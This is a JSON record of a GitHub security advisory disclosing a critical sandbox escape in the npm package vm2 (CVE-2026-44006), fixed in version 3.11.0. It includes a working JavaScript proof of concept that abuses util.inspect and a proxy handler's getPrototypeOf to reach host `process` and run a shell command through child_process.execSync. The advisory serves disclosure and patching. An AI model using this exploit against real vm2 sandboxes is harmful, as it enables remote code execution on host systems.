{"id":"GHSA-qcp4-v2jj-fjx8","revision":"70613d0c898d49ee96cb6f685e1a70c9","records":[{"revision":"70613d0c898d49ee96cb6f685e1a70c9","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-qcp4-v2jj-fjx8","aliases":["CVE-2026-44006"],"title":"vm2 has a Sandbox Escape Vulnerability","description":"### Summary\n\nIt is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes\n\n### Details\n\nhttps://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658\n\n`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)\n\n### PoC\n```js\nlet obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice: () => '',\n};\n\nlet sym;\n\nobj.slice(10, {\n\tshowHidden: true,\n\tshowProxy: true,\n\tdepth: 10,\n\tstylize(a) {\n\t\tconst handler = this.seen && this.seen[1];\n\n\t\tif (handler && handler.getPrototypeOf) {\n\t\t\tgP = handler.getPrototypeOf;\n\t\t\tHObjectProto = gP(gP(gP(gP(Buffer))));\n\t\t\tHObject = HObjectProto.constructor;\n\t\t\tsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\t\t}\n\t\treturn a;\n\t},\n});\n\nobj = {\n\t[sym]: (depth, opt, inspect) => {\n\t\tinspect.constructor('return process')()\n\t\t.getBuiltinModule('child_process')\n\t\t.execSync('id', { stdio: 'inherit' });\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() => {});\n```\n\n### Impact\nSandbox Escape -> RCE","state":0,"publishedAt":"2026-05-07T03:54:34+00:00","modifiedAt":"2026-05-14T20:52:26.396415+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8","https://nvd.nist.gov/vuln/detail/CVE-2026-44006","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658","https://github.com/patriksimek/vm2/releases/tag/v3.11.0"],"sourceUrl":"https://github.com/advisories/GHSA-qcp4-v2jj-fjx8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qcp4-v2jj-fjx8","identifiers":["GHSA-qcp4-v2jj-fjx8","CVE-2026-44006"]},"retained":false,"historicalAffected":[]}],"coverage":[]}